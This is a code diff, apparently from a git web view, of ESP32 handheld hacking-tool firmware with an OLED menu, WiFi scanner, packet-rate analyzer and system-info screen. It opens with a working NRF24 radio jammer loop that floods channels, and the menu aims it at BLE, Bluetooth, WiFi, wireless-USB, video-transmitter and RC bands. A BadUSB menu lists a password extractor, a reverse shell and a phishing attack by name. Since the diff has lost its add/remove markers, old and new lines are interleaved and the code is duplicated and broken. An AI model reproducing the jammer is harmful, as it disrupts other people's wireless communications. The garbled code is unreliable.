const char payload[] = "xxxxxxxxxxxxxxxx";
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "NRF24 Jammer");
u8g2.drawStr(0, 35, name);
u8g2.drawStr(0, 55, "BACK = Exit");
u8g2.sendBuffer();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "NRF24 Jammer");
u8g2.drawStr(0, 35, name);
u8g2.drawStr(0, 55, "BACK = Exit");
u8g2.sendBuffer();
while (true)
{
for (size_t i = 0; i < channelCount; i++)
{
//radio1.setChannel(channels[i]);
//radio1.write(&payload, sizeof(payload));
while (true) {
for (size_t i = 0; i < channelCount; i++) {
// radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload));
// Optional second NRF
// radio2.setChannel(channels[i]);
// radio2.write(&payload, sizeof(payload));
// Optional second NRF
// radio2.setChannel(channels[i]);
// radio2.write(&payload, sizeof(payload));
radio1.setChannel(channels[i]);
radio2.setChannel(channels[(i + 1) % channelCount]);
radio1.setChannel(channels[i]);
radio2.setChannel(channels[(i + 1) % channelCount]);
radio1.writeFast(&payload, sizeof(payload));
radio2.writeFast(&payload, sizeof(payload));
}
radio1.writeFast(&payload, sizeof(payload));
radio2.writeFast(&payload, sizeof(payload));
}
if (btnBack()) {
Serial.println("Jammer stopped");
radio1.powerDown();
radio2.powerDown();
return;
}
}
if (btnBack())
{
Serial.println("Jammer stopped");
radio1.powerDown();
radio2.powerDown();
return;
}
}
// while (true) {
// for (size_t i = 0; i < channelCount; i++)
//{
// radio1.setChannel(channels[i]);
// radio2.setChannel(channels[(i + 1) % channelCount]);
//while (true) {
//for (size_t i = 0; i < channelCount; i++)
//{
// radio1.setChannel(channels[i]);
// radio2.setChannel(channels[(i + 1) % channelCount]);
// radio1.writeFast(&payload, sizeof(payload));
// radio2.writeFast(&payload, sizeof(payload));
// radio1.writeFast(&payload, sizeof(payload));
// radio2.writeFast(&payload, sizeof(payload));
// radio1.txStandBy(1);
// radio2.txStandBy(1);
// radio1.txStandBy(1);
// radio2.txStandBy(1);
// delayMicroseconds(200);
//}
// delayMicroseconds(200);
//}
// if (btnBack())
//{
// Serial.println("Jammer stopped");
// radio1.powerDown();
// radio2.powerDown();
//if (btnBack())
//{
// Serial.println("Jammer stopped");
// radio1.powerDown();
// radio2.powerDown();
// return;
//}
//}
// return;
//}
//}
}
void NRFToolsMenu(int index) {
switch (index) {
case 0:
// startBleJammer();
// BLE
startJammer(
"BLE",
bleChannels,
sizeof(bleChannels) / sizeof(bleChannels[0])
);
switch (index) {
case 0:
// startBleJammer();
// BLE
startJammer("BLE", bleChannels,
sizeof(bleChannels) / sizeof(bleChannels[0]));
break;
case 1:
// startBluetoothJammer();
// Bluetooth
startJammer(
"Bluetooth",
bluetoothChannels,
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
);
break;
break;
case 1:
// startBluetoothJammer();
// Bluetooth
startJammer("Bluetooth", bluetoothChannels,
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
break;
case 2:
startJammer(
"WiFi",
wifiChannels,
sizeof(wifiChannels) / sizeof(wifiChannels[0])
);
break;
case 3:
startJammer(
"USB Wireless",
usbWireless_channels,
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])
);
break;
case 4:
startJammer(
"Video TX",
videoTransmitter_channels,
sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])
);
break;
case 5:
break;
startJammer(
"RC",
rc_channels,
sizeof(rc_channels) / sizeof(rc_channels[0])
);
break;
case 6:
case 2:
startJammer("WiFi", wifiChannels,
sizeof(wifiChannels) / sizeof(wifiChannels[0]));
break;
case 3:
startJammer("USB Wireless", usbWireless_channels,
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
break;
case 4:
startJammer("Video TX", videoTransmitter_channels,
sizeof(videoTransmitter_channels) /
sizeof(videoTransmitter_channels[0]));
break;
case 5:
break;
startJammer("RC", rc_channels,
sizeof(rc_channels) / sizeof(rc_channels[0]));
break;
case 6:
break;
break;
}
}
}

View File

@ -1,16 +1,11 @@
#include "display.h"
#include <Wire.h>
#include "config.h"
#include <Wire.h>
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(
U8G2_R0,
U8X8_PIN_NONE
);
void displayInit()
{
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
u8g2.begin();
u8g2.setFont(u8g2_font_6x12_tr);
void displayInit() {
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
u8g2.begin();
u8g2.setFont(u8g2_font_6x12_tr);
}

View File

@ -1,71 +1,55 @@
#include <Arduino.h>
#include "menu.h"
#include "display.h"
#include "utils/buttons.h"
#include "hid/badusb.h"
#include "rf/nrf24.h"
#include "rf/cc1101.h"
#include "wifi/wifi_scan.h"
#include "wifi/wifi_analyzer.h"
#include "utils/device_check.h"
#include "BleMouse.h"
#include "bluetooth/ble_mouse.h"
#include "bluetooth/blescanner.h"
#include "utils/sysinfo.h"
#include "BleMouse.h"
#include "display.h"
#include "hid/badusb.h"
#include "nfc/nfc.h"
#include "rf/cc1101.h"
#include "rf/nrf24.h"
#include "utils/buttons.h"
#include "utils/device_check.h"
#include "utils/sysinfo.h"
#include "wifi/wifi_analyzer.h"
#include "wifi/wifi_scan.h"
#include <Arduino.h>
// ================= MENU DATA =================
extern BleMouse bleMouse;
// Root menu
const char *mainMenuItems[] = {
"BadUSB",
"RF Capture",
"NRF Tools",
"BLE Scan",
"Wifi Scan",
"Wifi Analyzer",
"System Info",
"Device Check",
"Restart",
"Ble Mouse",
"NFC Tools"
};
Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools",
"BLE Scan", "Wifi Scan", "Wifi Analyzer",
"System Info", "Device Check", "Restart",
"Ble Mouse", "NFC Tools"};
Menu mainMenu = {mainMenuItems,
sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
// NRF Tools menu
const char *nrfToolsItems[] = {
"BLE Jammer",
"Bluetooth Jammer",
"Wifi Jammer",
"USB Wireless",
"Video TX",
"Zigbee",
"RC"
"BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless",
"Video TX", "Zigbee", "RC"
};
Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
Menu nrfToolsMenu = {nrfToolsItems,
sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
const char *badusbItems[] = {
"ORION Demo",
"RickRoll",
"Matrix Rain",
"Fake Terminal",
"Wifi Password Extractor",
"Fake Update",
"Fake BSOD",
"Glitch Screen",
"ASCII Spam",
"Hacker Typer",
"PWN Reverse shell",
"Phishing attack",
"Desktop Ghost",
"System Stresser"
};
const char *badusbItems[] = {"ORION Demo",
"RickRoll",
"Matrix Rain",
"Fake Terminal",
"Wifi Password Extractor",
"Fake Update",
"Fake BSOD",
"Glitch Screen",
"ASCII Spam",
"Hacker Typer",
"PWN Reverse shell",
"Phishing attack",
"Desktop Ghost",
"System Stresser"};
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
@ -82,282 +66,251 @@ bool insideFeature = false;
// ================= DRAW =================
void drawMenu()
{
u8g2.clearBuffer();
void drawMenu() {
u8g2.clearBuffer();
// scroll handling
if (menuIndex < menuOffset)
menuOffset = menuIndex;
// scroll handling
if (menuIndex < menuOffset)
menuOffset = menuIndex;
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
for (int i = 0; i < MENU_VISIBLE_ROWS; i++)
{
int item = menuOffset + i;
for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
int item = menuOffset + i;
if (item >= currentMenu->size)
break;
if (item >= currentMenu->size)
break;
if (item == menuIndex)
u8g2.drawStr(0, 14 + i * 14, ">");
if (item == menuIndex)
u8g2.drawStr(0, 14 + i * 14, ">");
u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
}
u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
}
// scroll indicators
if (menuOffset > 0)
u8g2.drawStr(118, 10, "^");
// scroll indicators
if (menuOffset > 0)
u8g2.drawStr(118, 10, "^");
if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
u8g2.drawStr(118, 62, "v");
if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
u8g2.drawStr(118, 62, "v");
u8g2.sendBuffer();
u8g2.sendBuffer();
}
// ================= FEATURE EXECUTION =================
void launchFeature()
{
insideFeature = true;
void launchFeature() {
insideFeature = true;
if (currentMenu == &mainMenu)
{
switch (menuIndex)
{
case 0: // BadUSB → enter submenu
currentMenu = &badusbMenu;
menuIndex = 0;
menuOffset = 0;
break;
if (currentMenu == &mainMenu) {
switch (menuIndex) {
case 0: // BadUSB → enter submenu
currentMenu = &badusbMenu;
menuIndex = 0;
menuOffset = 0;
break;
case 1:
handleMenu();
break;
case 2:
// startNRFJammer();
//startBleJammer();
//startBluetoothJammer();
currentMenu = &nrfToolsMenu;
menuIndex = 0;
menuOffset = 0;
break;
case 1:
handleMenu();
break;
case 2:
// startNRFJammer();
// startBleJammer();
// startBluetoothJammer();
currentMenu = &nrfToolsMenu;
menuIndex = 0;
menuOffset = 0;
break;
break;
case 3:
ble_scan();
ble_drawMenu();
while (1) {
ble_loop();
if (btnBack())
break;
}
break;
break;
case 3:
ble_scan();
ble_drawMenu();
while (1) {
ble_loop();
if (btnBack())
break;
}
break;
case 4:
{
// Start scan once
wifi_scan_start();
wifi_scan_draw();
case 4: {
// Start scan once
wifi_scan_start();
wifi_scan_draw();
while (1) {
wifi_scan_loop();
// EXIT condition handled ONLY here
if (btnBack()) {
delay(150); // debounce
break;
}
}
break;
}
case 5:
{
wifi_analyzer_start();
bool prevBack = false;
while (1)
{
wifi_analyzer_loop();
bool nowBack = btnBack();
if (nowBack && !prevBack)
{
delay(150);
break;
}
prevBack = nowBack;
}
break;
}
case 6:
runSystemInfoFeature();
break;
case 7:
device_check_run();
break;
case 8:
{
// wait for button release
delay(200);
while (btnSelect())
delay(10);
bool confirm = false;
while (1)
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x13_tr);
u8g2.drawStr(18, 18, "Restart Device?");
if (confirm)
{
u8g2.drawBox(10, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(20, 47, "YES");
u8g2.setDrawColor(1);
u8g2.drawStr(75, 47, "NO");
}
else
{
u8g2.drawStr(20, 47, "YES");
u8g2.drawBox(65, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(78, 47, "NO");
u8g2.setDrawColor(1);
}
u8g2.sendBuffer();
if (btnLeft() || btnUp())
{
confirm = true;
delay(150);
}
if (btnRight() || btnDown())
{
confirm = false;
delay(150);
}
if (btnSelect())
{
delay(150);
if (confirm)
{
u8g2.clearBuffer();
u8g2.drawStr(28, 30, "Restarting...");
u8g2.sendBuffer();
delay(1000);
ESP.restart();
}
else
{
break;
}
}
if (btnBack())
{
delay(150);
break;
}
}
}
break;
case 9:
// Begin Ble mouse
bleMouse.begin();
ble_mouse_run();
break;
case 10:
pn532_scan_loop();
break;
while (1) {
wifi_scan_loop();
// EXIT condition handled ONLY here
if (btnBack()) {
delay(150); // debounce
break;
}
}
break;
}
else if (currentMenu == &badusbMenu)
{
badUSBMenu(menuIndex);
} else if (currentMenu == &nrfToolsMenu) {
NRFToolsMenu(menuIndex);
case 5: {
wifi_analyzer_start();
bool prevBack = false;
while (1) {
wifi_analyzer_loop();
bool nowBack = btnBack();
if (nowBack && !prevBack) {
delay(150);
break;
}
prevBack = nowBack;
}
break;
}
insideFeature = false;
case 6:
runSystemInfoFeature();
break;
case 7:
device_check_run();
break;
case 8: {
// wait for button release
delay(200);
drawMenu();
while (btnSelect())
delay(10);
bool confirm = false;
while (1) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x13_tr);
u8g2.drawStr(18, 18, "Restart Device?");
if (confirm) {
u8g2.drawBox(10, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(20, 47, "YES");
u8g2.setDrawColor(1);
u8g2.drawStr(75, 47, "NO");
} else {
u8g2.drawStr(20, 47, "YES");
u8g2.drawBox(65, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(78, 47, "NO");
u8g2.setDrawColor(1);
}
u8g2.sendBuffer();
if (btnLeft() || btnUp()) {
confirm = true;
delay(150);
}
if (btnRight() || btnDown()) {
confirm = false;
delay(150);
}
if (btnSelect()) {
delay(150);
if (confirm) {
u8g2.clearBuffer();
u8g2.drawStr(28, 30, "Restarting...");
u8g2.sendBuffer();
delay(1000);
ESP.restart();
} else {
break;
}
}
if (btnBack()) {
delay(150);
break;
}
}
} break;
case 9:
// Begin Ble mouse
bleMouse.begin();
ble_mouse_run();
break;
case 10:
pn532_scan_loop();
break;
}
} else if (currentMenu == &badusbMenu) {
badUSBMenu(menuIndex);
} else if (currentMenu == &nrfToolsMenu) {
NRFToolsMenu(menuIndex);
}
insideFeature = false;
drawMenu();
}
// ================= INIT =================
void menuInit()
{
currentMenu = &mainMenu;
menuIndex = 0;
menuOffset = 0;
void menuInit() {
currentMenu = &mainMenu;
menuIndex = 0;
menuOffset = 0;
drawMenu();
drawMenu();
}
// ================= LOOP =================
void menuLoop()
{
static uint32_t lastPress = 0;
void menuLoop() {
static uint32_t lastPress = 0;
if (insideFeature)
return;
if (insideFeature)
return;
if (millis() - lastPress < 150)
return;
if (millis() - lastPress < 150)
return;
if (btnUp())
{
menuIndex--;
if (btnUp()) {
menuIndex--;
if (menuIndex < 0)
menuIndex = currentMenu->size - 1;
if (menuIndex < 0)
menuIndex = currentMenu->size - 1;
drawMenu();
lastPress = millis();
drawMenu();
lastPress = millis();
}
else if (btnDown()) {
menuIndex++;
if (menuIndex >= currentMenu->size)
menuIndex = 0;
drawMenu();
lastPress = millis();
}
else if (btnSelect()) {
launchFeature();
lastPress = millis();
}
else if (btnBack()) {
if (currentMenu != &mainMenu) {
currentMenu = &mainMenu;
menuIndex = 0;
menuOffset = 0;
drawMenu();
}
else if (btnDown())
{
menuIndex++;
if (menuIndex >= currentMenu->size)
menuIndex = 0;
drawMenu();
lastPress = millis();
}
else if (btnSelect())
{
launchFeature();
lastPress = millis();
}
else if (btnBack())
{
if (currentMenu != &mainMenu)
{
currentMenu = &mainMenu;
menuIndex = 0;
menuOffset = 0;
drawMenu();
}
lastPress = millis();
}
lastPress = millis();
}
}

View File

@ -1,15 +1,14 @@
#include "buttons.h"
#include <Arduino.h>
#include "../config.h"
#include <Arduino.h>
void buttonsInit()
{
pinMode(BTN_UP, INPUT_PULLUP);
pinMode(BTN_DOWN, INPUT_PULLUP);
pinMode(BTN_SELECT, INPUT_PULLUP);
pinMode(BTN_BACK, INPUT_PULLUP);
pinMode(BTN_RIGHT, INPUT_PULLUP);
pinMode(BTN_LEFT, INPUT_PULLUP);
void buttonsInit() {
pinMode(BTN_UP, INPUT_PULLUP);
pinMode(BTN_DOWN, INPUT_PULLUP);
pinMode(BTN_SELECT, INPUT_PULLUP);
pinMode(BTN_BACK, INPUT_PULLUP);
pinMode(BTN_RIGHT, INPUT_PULLUP);
pinMode(BTN_LEFT, INPUT_PULLUP);
}
bool btnUp() { return !digitalRead(BTN_UP); }

View File

@ -1,87 +1,84 @@
#include <Arduino.h>
#include "../ui/display.h"
#include "buttons.h"
#include <Arduino.h>
#include <esp_chip_info.h>
#include <esp_heap_caps.h>
void runSystemInfoFeature()
{
esp_chip_info_t chip_info;
void runSystemInfoFeature() {
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
while (true) {
// u8g2.clearBuffer();
// char buf[32];
// sprintf(buf, "Cores: %d", chip_info.cores);
// u8g2.drawStr(0, 14, buf);
// sprintf(buf, "Heap: %d",
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
// u8g2.drawStr(0, 28, buf);
// u8g2.drawStr(0, 60, "BACK to exit");
// Get RAM info
size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
// Get Flash info
// uint32_t flashSize = spi_flash_get_chip_size();
uint32_t flashSize = ESP.getFlashChipSize();
uint32_t flashUsed = ESP.getSketchSize();
int flashUsage = (flashUsed * 100) / flashSize;
// Temperature (approx)
uint8_t temperature = temperatureRead();
// Chip info
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
while (true)
{
//u8g2.clearBuffer();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x12_tr);
//char buf[32];
char buf[32];
//sprintf(buf, "Cores: %d", chip_info.cores);
//u8g2.drawStr(0, 14, buf);
// Box 1 - RAM
u8g2.drawFrame(0, 0, 128, 12);
sprintf(buf, "RAM: %d%% used", ramUsage);
u8g2.drawStr(4, 9, buf);
//sprintf(buf, "Heap: %d",
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
//u8g2.drawStr(0, 28, buf);
// Box 2 - Flash
u8g2.drawFrame(0, 12, 128, 12);
sprintf(buf, "Flash: %d%% used", flashUsage);
u8g2.drawStr(4, 21, buf);
// Box 3 - Temp (FULL WIDTH now)
u8g2.drawFrame(0, 24, 128, 12);
sprintf(buf, "Temp: %d C", temperature);
u8g2.drawStr(4, 33, buf);
//u8g2.drawStr(0, 60, "BACK to exit");
// Box 4 - Chip info (FULL WIDTH)
u8g2.drawFrame(0, 36, 128, 12);
sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
u8g2.drawStr(4, 45, buf);
// Get RAM info
size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
// Box 5 - PSRAM (KB)
u8g2.drawFrame(0, 48, 128, 12);
sprintf(buf, "PSRAM: %lu KB",
heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
u8g2.drawStr(4, 57, buf);
// Get Flash info
//uint32_t flashSize = spi_flash_get_chip_size();
uint32_t flashSize = ESP.getFlashChipSize();
uint32_t flashUsed = ESP.getSketchSize();
int flashUsage = (flashUsed * 100) / flashSize;
u8g2.sendBuffer();
// Temperature (approx)
uint8_t temperature = temperatureRead();
// Chip info
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x12_tr);
char buf[32];
// Box 1 - RAM
u8g2.drawFrame(0, 0, 128, 12);
sprintf(buf, "RAM: %d%% used", ramUsage);
u8g2.drawStr(4, 9, buf);
// Box 2 - Flash
u8g2.drawFrame(0, 12, 128, 12);
sprintf(buf, "Flash: %d%% used", flashUsage);
u8g2.drawStr(4, 21, buf);
// Box 3 - Temp (FULL WIDTH now)
u8g2.drawFrame(0, 24, 128, 12);
sprintf(buf, "Temp: %d C", temperature);
u8g2.drawStr(4, 33, buf);
// Box 4 - Chip info (FULL WIDTH)
u8g2.drawFrame(0, 36, 128, 12);
sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
u8g2.drawStr(4, 45, buf);
// Box 5 - PSRAM (KB)
u8g2.drawFrame(0, 48, 128, 12);
sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
u8g2.drawStr(4, 57, buf);
u8g2.sendBuffer();
if (btnBack())
{
delay(200);
return;
}
delay(100);
if (btnBack()) {
delay(200);
return;
}
delay(100);
}
}

View File

@ -6,142 +6,131 @@
#include "../utils/buttons.h"
// ===== CONFIG =====
#define GRAPH_WIDTH 128
#define GRAPH_HEIGHT 44
#define GRAPH_TOP 10
#define MAX_POINTS 128
#define GRAPH_WIDTH 128
#define GRAPH_HEIGHT 44
#define GRAPH_TOP 10
#define MAX_POINTS 128
#define SPIKE_THRESHOLD 30
// ===== STATE =====
struct SnifferGraph {
uint8_t graphData[MAX_POINTS];
uint8_t currentChannel = 1;
volatile uint16_t packetCounter = 0;
unsigned long lastChannelSwitch = 0;
unsigned long lastUpdate = 0;
uint8_t graphData[MAX_POINTS];
uint8_t currentChannel = 1;
volatile uint16_t packetCounter = 0;
unsigned long lastChannelSwitch = 0;
unsigned long lastUpdate = 0;
};
static SnifferGraph sniffer;
// ===== CALLBACK =====
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL)
{
sniffer.packetCounter++;
}
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
sniffer.packetCounter++;
}
}
// ===== INIT =====
void wifi_analyzer_start()
{
// display init (safe to call again)
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 10, "Starting analyzer...");
u8g2.sendBuffer();
void wifi_analyzer_start() {
// display init (safe to call again)
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 10, "Starting analyzer...");
u8g2.sendBuffer();
// reset graph
memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
sniffer.packetCounter = 0;
sniffer.currentChannel = 1;
// reset graph
memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
sniffer.packetCounter = 0;
sniffer.currentChannel = 1;
// reset WiFi
WiFi.disconnect(true, true);
esp_wifi_stop();
delay(200);
esp_wifi_deinit();
// reset WiFi
WiFi.disconnect(true, true);
esp_wifi_stop();
delay(200);
esp_wifi_deinit();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM);
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM);
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start();
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
esp_wifi_set_promiscuous_rx_cb(snifferCallback);
esp_wifi_set_promiscuous(true);
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
esp_wifi_set_promiscuous_rx_cb(snifferCallback);
esp_wifi_set_promiscuous(true);
}
// ===== HELPERS =====
static void switchChannel()
{
sniffer.currentChannel++;
if (sniffer.currentChannel > 13) sniffer.currentChannel = 1;
static void switchChannel() {
sniffer.currentChannel++;
if (sniffer.currentChannel > 13)
sniffer.currentChannel = 1;
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
}
static void updateGraph(uint8_t value)
{
for (int i = 0; i < MAX_POINTS - 1; i++)
{
sniffer.graphData[i] = sniffer.graphData[i + 1];
}
static void updateGraph(uint8_t value) {
for (int i = 0; i < MAX_POINTS - 1; i++) {
sniffer.graphData[i] = sniffer.graphData[i + 1];
}
sniffer.graphData[MAX_POINTS - 1] = value;
sniffer.graphData[MAX_POINTS - 1] = value;
}
static void drawGraph(uint16_t pktCount)
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
static void drawGraph(uint16_t pktCount) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
char line1[16];
char line2[16];
char line1[16];
char line2[16];
sprintf(line1, "Ch:%d", sniffer.currentChannel);
sprintf(line2, "Pkts:%d", pktCount * 5);
sprintf(line1, "Ch:%d", sniffer.currentChannel);
sprintf(line2, "Pkts:%d", pktCount * 5);
u8g2.drawStr(0, 8, line1);
u8g2.drawStr(60, 8, line2);
u8g2.drawStr(0, 8, line1);
u8g2.drawStr(60, 8, line2);
for (int x = 1; x < GRAPH_WIDTH; x++)
{
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
for (int x = 1; x < GRAPH_WIDTH; x++) {
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
u8g2.drawLine(x - 1, y1, x, y2);
}
u8g2.drawLine(x - 1, y1, x, y2);
}
if (pktCount >= SPIKE_THRESHOLD)
{
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
}
if (pktCount >= SPIKE_THRESHOLD) {
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
}
u8g2.sendBuffer();
u8g2.sendBuffer();
}
// ===== LOOP =====
void wifi_analyzer_loop()
{
static uint32_t lastPress = 0;
unsigned long now = millis();
void wifi_analyzer_loop() {
static uint32_t lastPress = 0;
unsigned long now = millis();
// channel hopping
if (now - sniffer.lastChannelSwitch >= 1000)
{
sniffer.lastChannelSwitch = now;
switchChannel();
}
// channel hopping
if (now - sniffer.lastChannelSwitch >= 1000) {
sniffer.lastChannelSwitch = now;
switchChannel();
}
// graph update
if (now - sniffer.lastUpdate >= 200)
{
sniffer.lastUpdate = now;
// graph update
if (now - sniffer.lastUpdate >= 200) {
sniffer.lastUpdate = now;
uint16_t pktCount = sniffer.packetCounter;
uint16_t pktCount = sniffer.packetCounter;
uint8_t scaled = pktCount * 2;
uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
uint8_t scaled = pktCount * 2;
uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
updateGraph(value);
drawGraph(pktCount);
updateGraph(value);
drawGraph(pktCount);
sniffer.packetCounter = 0;
}
sniffer.packetCounter = 0;
}
// optional: small debounce to not hammer CPU
if (millis() - lastPress < 10)
return;
// optional: small debounce to not hammer CPU
if (millis() - lastPress < 10)
return;
}

View File

@ -1,15 +1,15 @@
#include <Arduino.h>
#include <WiFi.h>
#include "../ui/display.h"
#include "../utils/buttons.h"
#include <Arduino.h>
#include <WiFi.h>
#define MAX_NETWORKS 30
struct WiFiNet {
String ssid;
int rssi;
int channel;
bool encrypted;
String ssid;
int rssi;
int channel;
bool encrypted;
};
static WiFiNet networks[MAX_NETWORKS];
@ -17,136 +17,123 @@ static int networkCount = 0;
static int selectedIndex = 0;
// ===== SCAN =====
void wifi_scan_start()
{
u8g2.clearBuffer();
u8g2.drawStr(10, 30, "Scanning WiFi...");
u8g2.sendBuffer();
void wifi_scan_start() {
u8g2.clearBuffer();
u8g2.drawStr(10, 30, "Scanning WiFi...");
u8g2.sendBuffer();
WiFi.mode(WIFI_STA);
WiFi.disconnect();
WiFi.mode(WIFI_STA);
WiFi.disconnect();
delay(100);
delay(100);
int n = WiFi.scanNetworks();
int n = WiFi.scanNetworks();
networkCount = min(n, MAX_NETWORKS);
networkCount = min(n, MAX_NETWORKS);
for (int i = 0; i < networkCount; i++)
{
networks[i].ssid = WiFi.SSID(i);
networks[i].rssi = WiFi.RSSI(i);
networks[i].channel = WiFi.channel(i);
networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
}
for (int i = 0; i < networkCount; i++) {
networks[i].ssid = WiFi.SSID(i);
networks[i].rssi = WiFi.RSSI(i);
networks[i].channel = WiFi.channel(i);
networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
}
selectedIndex = 0;
selectedIndex = 0;
}
// ===== DRAW =====
void wifi_scan_draw()
{
u8g2.clearBuffer();
void wifi_scan_draw() {
u8g2.clearBuffer();
if (networkCount == 0)
{
u8g2.drawStr(0, 30, "No networks");
u8g2.drawStr(0, 45, "Press BACK");
if (networkCount == 0) {
u8g2.drawStr(0, 30, "No networks");
u8g2.drawStr(0, 45, "Press BACK");
} else {
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) {
int idx = selectedIndex + i;
if (idx >= networkCount)
break;
int y = 22 + i * 14;
if (i == 0) {
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = networks[idx].ssid;
if (text.length() > 10)
text = text.substring(0, 10) + "..";
text += " (" + String(networks[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
}
else
{
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, counter);
}
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++)
{
int idx = selectedIndex + i;
if (idx >= networkCount) break;
int y = 22 + i * 14;
if (i == 0)
{
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = networks[idx].ssid;
if (text.length() > 10)
text = text.substring(0, 10) + "..";
text += " (" + String(networks[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
}
